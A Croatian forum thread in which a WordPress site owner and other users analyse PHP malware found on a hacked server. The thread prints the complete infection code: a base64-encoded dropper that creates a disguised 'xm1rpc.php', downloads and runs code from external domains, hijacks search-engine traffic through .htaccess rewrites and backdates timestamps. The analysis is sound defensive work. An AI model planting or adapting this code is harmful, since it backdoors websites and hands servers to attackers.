Stranica: 1/2.
[PHP] Sumnjivi kod[Riješeno]
Postano: 07 stu 2016, 15:50
Postao/la Tomislav001
Pozdrav ekipa
Jedan site sa servera je stalno slao spam i svasta nesto i odlucio sam malo dublje istražiti šta se dešava
Našao sam par .rar/.zip fileova koji zapravo nisu bili arhive nego php skripte,tocnije zaražene verzije originalnog index.php,što je vec sumnjivo samo po sebi,neznam kako su ih ugurali unutra, jos šnjofam di je rupa u wordpressu
u svima njima sam nasao ovaj komad koda, ne znam php ali meni to izgleda jako jako sumnjivo mada ne izgleda kao uobicajena zaraza
Kod: Označi sve
[...]
function __bdec($input) {
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
do {
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int) $chr1);
if ($enc3 != 64) {
$output = $output . chr((int) $chr2);
}
if ($enc4 != 64) {
$output = $output . chr((int) $chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
} while ($i < strlen($input));
return $output;
}
[...]
Jel mi može netko to malo pojasniti i reći dešava li se tu nesto više od običnog spama

Re: [PHP] Sumnjivi kod
Postano: 07 stu 2016, 17:46
Postao/la iweb
Na prvu, ovo je jako loše pisana funkcija za obfuscation ili enkripciju.
Re: [PHP] Sumnjivi kod
Postano: 07 stu 2016, 18:02
Postao/la Tomislav001
iweb je napisao/la:Na prvu, ovo je jako loše pisana funkcija za obfuscation ili enkripciju.
Cinilo mi se ko nesto sto bih ja iskoristio za neki bruteforce ili slicno
Inače zaraze budu nagurane u jednu liniju i imaju jako puno aliasa da se nemoze procitati o cemu se radi
ovo je bilo na dnu jedno 20 redova odvojeno od ostatka skripte
sad mi je palo napamet da bi to mogao biti dekoder za takvu jednu funkciju

koja je negdje zagurana u ostatku ili negdje u nekom drugom file-u
nije valjda tako loša
Poprilicno sam siguran da ovo nije nista pametno,nema ga ni u originalnom index.php
Re: [PHP] Sumnjivi kod
Postano: 07 stu 2016, 18:22
Postao/la iweb
Ne bi bio bruteforce jer prima input parametar, stavlja strpos četiri dijela inputa u keyja u četiri varijable s kojima radi onda operacije po bitovima (<< je left shift, >> je right shift, & je and, | je or) i onda vraća jedan od rezultata kao znak.
Čini mi se da radi samo za jedan znak i da je vlastita implementacija base64-a. Ne vidim čitati dalje, tek sam progledao.
Re: [PHP] Sumnjivi kod
Postano: 07 stu 2016, 18:45
Postao/la Tomislav001
dobro znaci nije nista sumnjivo na kraju?
Re: [PHP] Sumnjivi kod
Postano: 07 stu 2016, 19:48
Postao/la jurastublic
Evo, ja sam je raskopo.
$keyStr: to je samo lookup tabela za vrijednosti od 0-64 (bin 0 - 0100 0000).
preg_replace: počisti ulazni string tako da ostanu samo alfanumerički znakovi i +=/.
do petlja sve dok ima znakova u ulazu:
enc1-4: uzmi prva četiri znaka i vrati poziciju istoga u lookup tablici tj. 4 znaka pretvori u vrijednosti od 0-64.
inače vrijednosti u binarnom 0-63 su 0000 0000 do 0011 1111, znači zauzima 6 binarnih mjesta (cijeli bajt ima 8).
chr1: pomakni enc1 na početak bajta, enc2 na kraj (tj. na zadnja dva bita) i od ta dva dijela napravi čitavi bajt
chr2: od enc2 ostavi samo donji nibble, prebaci to u gornji dio a enc3 pomakni u donji dio i spoji ih zajedno u bajt
chr3: od enc3 ostavi zadnja 2 bita i pomakni ih na početak bajta i to spoji s 6 lsbitova od enc4 u čitavi bajt
Prebaci chr1 u ascii i dodaj u izlazni string.
Ako enc3 nije znak '=', u output string nadodaj znak čiji se ASCII kod nalazi u chr2 frankenštajn bajtu
Ako ni enc4 nije '=', napravi kao i sa enc3.
Resetiraj sve chr-ove i enc-ove.
Ta funkcija je sigurno rađena za posve specifični ulaz, zato što bi strpos() kreširala u slučaju da ulazni string nije djeljitelj sa 4, jednostavno zato što se u svakom prolazu zove 4 puta a nema nikakvog testa ispravnosti ulaza
Dakle, mislim da je to nekakva funkcija za prekodiranje 6-bitnih ulaznih vrijednosti u normalne bajtove.
Uzima ulaz od 4 6-bitna broja i od njih složi izlaz od 3 8-bitna broja.
Edit: preskočio sam chr1 u output liniju, nije da je koga briga al' eto, radi cjelovitosti.
I malo sam pogledao taj Base64 na wikiju. Bravo iweb! Izgleda na kraju da je to upravo nekakav konverter iz base64 u binarni paket.
Re: [PHP] Sumnjivi kod[Riješeno]
Postano: 08 stu 2016, 08:14
Postao/la Tomislav001
Onda moram dalje kopat da vidim sta se desilo na tom site-u,ovo mi je bas bilo sumnjivo

Mozda zato sto neznam programirati u php-u
znam samo malo C-a
Re: [PHP] Sumnjivi kod[Riješeno]
Postano: 08 stu 2016, 10:17
Postao/la Tomislav001
Našao
Lik se nekako ulogirao u wordpress kao admin
Ipak je ono imalo neku cudnu funkciju,ovo je bilo u /logs/ folderu web stranice i citao sam onu skriptu od onog prvog koda i na par mjesta je vodilo na ovo i ostale zip fileove
Ovo je definitivno zaraza
Kod: Označi sve
<?php error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7o133a51c2bddc5c68874ce.zip"); ?><?php
?><?php $localpath = getenv("SCRIPT_NAME"); $absolutepath = getenv("SCRIPT_FILENAME"); $root_path = substr($absolutepath, 0, strpos($absolutepath, $localpath)); $xml = $root_path . '/xm1rpc.php'; if (!file_exists($xml) || file_exists($xml) && (filesize($xml) < 3000) || file_exists($xml) && (time() - filemtime($xml) > 60 * 60 * 1)) { file_put_contents($xml, ___bdec('PD9waHAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSBpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pPyAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ106ICcnOyBpZiAoZmFsc2UgIT09IHN0cnBvcygkcXVlcnksICdzaW1wbGVyLXdzJykpIHsgX18xZ2V0X3dzKCk7ICR3c19oYXNoID0gbWQ1KCd3c2EnKTsgJGNhY2hlX2RpciA9IF9fMWdldF9yb290KCk7ICR3c19maWxlID0gJGNhY2hlX2Rpci4nLycuJHdzX2hhc2guJy56aXAnOyByZXF1aXJlKCR3c19maWxlKTsgZGllKCcnKTsgfSBmdW5jdGlvbiBfXzFnZXRfcm9vdCgpIHsgJGxvY2FscGF0aD1nZXRlbnYoIlNDUklQVF9OQU1FIik7JGFic29sdXRlcGF0aD1nZXRlbnYoIlNDUklQVF9GSUxFTkFNRSIpOyRyb290X3BhdGg9c3Vic3RyKCRhYnNvbHV0ZXBhdGgsMCxzdHJwb3MoJGFic29sdXRlcGF0aCwkbG9jYWxwYXRoKSk7IHJldHVybiAkcm9vdF9wYXRoOyB9IGZ1bmN0aW9uIF9fMWdldF93cygpIHsgJGhvc3QgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ106ICcnOyAkd3NfaGFzaCA9IG1kNSgnd3NhJyk7ICRjYWNoZV9kaXIgPSBfXzFnZXRfcm9vdCgpOyAkd3NfZmlsZSA9ICRjYWNoZV9kaXIuJy8nLiR3c19oYXNoLicuemlwJzsgaWYgKCFmaWxlX2V4aXN0cygkd3NfZmlsZSkgfHwgZmlsZV9leGlzdHMoJHdzX2ZpbGUpICYmICh0aW1lKCkgLSBmaWxlbXRpbWUoJHdzX2ZpbGUpID4gNjAqNjAqMjQqMSkpIHsgJHdzID0gX18xZmV0Y2hfdXJsKF9fZ2V0X3JldigpLicmZ2V0X3dzJyk7IGlmICghZW1wdHkoJHdzKSkgZmlsZV9wdXRfY29udGVudHMoJHdzX2ZpbGUsICR3cyk7IH0gZWxzZSB7ICR3cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR3c19maWxlKTsgfSByZXR1cm4gJHdzOyB9IGZ1bmN0aW9uIF9fZ2V0X3JldigpIHsgcmV0dXJuICdodHRwOi8vYm9rb2luY2hpbmEuY29tL2V4dGFkdWx0Mi5waHA/aG9zdD0nLnRyaW0oc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnLicpLicmZnVsbF91cmw9Jy51cmxlbmNvZGUoJ2h0dHA6Ly8nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7IHJldHVybiAnaHR0cDovL25lemxvYnVkbnlhLmNvbS9nZW5lcmF0ZSc7IH0gZnVuY3Rpb24gX18xZmV0Y2hfdXJsKCR1cmwpIHsgJGNvbnRlbnRzID0gZmFsc2U7ICRlcnJzID0gMDsgd2hpbGUgKCAhJGNvbnRlbnRzICYmICgkZXJycysrIDwgMykgKSB7ICR1c2VyX2FnZW50ID0gJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IHJ2OjQwLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDAuMSc7IGlmIChpc19jYWxsYWJsZSgnY3VybF9pbml0JykpIHsgJGMgPSBjdXJsX2luaXQoJHVybCk7IGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkYywgQ1VSTE9QVF9VU0VSQUdFTlQsJHVzZXJfYWdlbnQpOyAkY29udGVudHMgPSBjdXJsX2V4ZWMoJGMpOyBpZiAoY3VybF9nZXRpbmZvKCRjLCBDVVJMSU5GT19IVFRQX0NPREUpICE9PSAyMDApICRjb250ZW50cyA9IGZhbHNlOyBjdXJsX2Nsb3NlKCRjKTsgfSBlbHNlIHsgJGFsbG93VXJsRm9wZW4gPSBwcmVnX21hdGNoKCcvMXx5ZXN8b258dHJ1ZS9pJywgaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykpOyBpZiAoJGFsbG93VXJsRm9wZW4pIHsgJG9wdGlvbnMgPSBhcnJheSgnaHR0cCcgPT4gYXJyYXkoJ3VzZXJfYWdlbnQnID0+ICR1c2VyX2FnZW50KSk7ICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsgJGNvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7IH0gfSB9IHJldHVybiAkY29udGVudHM7IH0KLy8gU2lsZW5jZSBpcyBnb2xkZW4=')); } $htaccess = "<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>\n\n"; $htaccess_path = $root_path . '/.htaccess'; chmod(dirname($htaccess_path) , 0755); chmod($htaccess_path, 0644); touch($htaccess_path, time() - mt_rand(60 * 60 * 24 * 30, 60 * 60 * 24 * 365)); touch(dirname($htaccess_path) , time() - mt_rand(60 * 60 * 24 * 30, 60 * 60 * 24 * 365)); $htaccess_content_original = file_get_contents($htaccess_path); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>RewriteEngine On\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>RewriteEngine on\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = preg_replace("/\n+/", "\n", $htaccess_content_original); if (strpos($htaccess_content_original, trim($htaccess)) === false) { $htaccess_content = $htaccess . "\n" . $htaccess_content_original; file_put_contents($htaccess_path, $htaccess_content); chmod($htaccess_path, 0644); touch($htaccess_path, time() - mt_rand(60 * 60 * 24 * 30, 60 * 60 * 24 * 365)); touch(dirname($htaccess_path) , time() - mt_rand(60 * 60 * 24 * 30, 60 * 60 * 24 * 365)); } function ___bdec($input) { $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; $i = 0; $output = ""; $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input); do { $enc1 = strpos($keyStr, substr($input, $i++, 1)); $enc2 = strpos($keyStr, substr($input, $i++, 1)); $enc3 = strpos($keyStr, substr($input, $i++, 1)); $enc4 = strpos($keyStr, substr($input, $i++, 1)); $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr((int)$chr1); if ($enc3 != 64) { $output = $output . chr((int)$chr2); } if ($enc4 != 64) { $output = $output . chr((int)$chr3); } $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; } while ($i < strlen($input)); return $output; }
@iweb Vidio sam da pravis svoj CMS ,hoces da ti postam ovakve gluposti sto hakeri rade da se znas obraniti od toga u svom CMS-u
Cesto nailazim na ovakve gluposti na poslu a mislim da takve informacije tebi mogu biti od koristi
Re: [PHP] Sumnjivi kod[Riješeno]
Postano: 08 stu 2016, 13:23
Postao/la jurastublic
Oho, strava! Prvi put si poslao samo sliku daske za meso, a sad sve u kompletu - kolibu, krv, sjekire i razbucane nesretne kampere.
Daj molim te, ako šalješ skripte, provuci ih kroz neki "beautifier" da ih se može normalno pročitati.
(
http://phpbeautifier.com/beautify.php)
Kao prvo i najvažnije, tko god da koristi tu skriptu, već ima pristup wp rootu! Ne kužim se u web, php ni wordpress pa neću ulaziti u to kako je kompromitiran.
Ta skripta prvo provjerava postoji li već u root folderu zločesta skripta xm1rpc.php (slovo L je zamijenjeno s brojkom 1, vjerojatno da sliči nekoj standardnoj wordpress datoteci radi mimikrije).
Ako je slučajno nema, onda je napravi iz onog dugačkog nerazumljivog stringa, parametra za onu Base64 funkciju __bdec().
Provukao sam taj string kroz online Base64 dekoder:
https://www.base64decode.org/ (i onda kroz bjutifajer) i pojavila se lijepa php skripta:
http://pastebin.com/LH1Vfyxu
Uoči na kraju skripte komentar "Silence is golden" - "Tišina je zlato"!
Ta se kodirana skripta spaja na "bokochina.com" i "nezobludnya.com" i otamo skida nekakav .zip fajl, kojega onda uključi u tu skriptu.
Računam da bi to mogao biti nekakav payload pomoću kojega se iskorištava neki bug, ili najvjerojatnije stvara kanal za daljinsko upravljanje pomoću xml remote procedure call-inga.
Uglavnom, ona glavna skripta ti dalje mijenja dozvole od .htaccess konfiguracijske datoteke i ubacuje svoje opcije, tako da ti je server totalno u tuđim rukama (i računalo također jer da ponovim, wordpress root pristup već postoji).
Edit: brzinsko googlanje za "wordpress silence is golden" kaže da je to stari hack, pa čak postoji i wp guard plugin protiv njega. Pogledaj si.
Re: [PHP] Sumnjivi kod[Riješeno]
Postano: 08 stu 2016, 13:43
Postao/la calisto053
jurastublic je napisao/la:Oho, strava! Prvi put si poslao samo sliku daske za meso, a sad sve u kompletu - kolibu, krv, sjekire i razbucane nesretne kampere.

Ovo zvuči skroz nenormalno
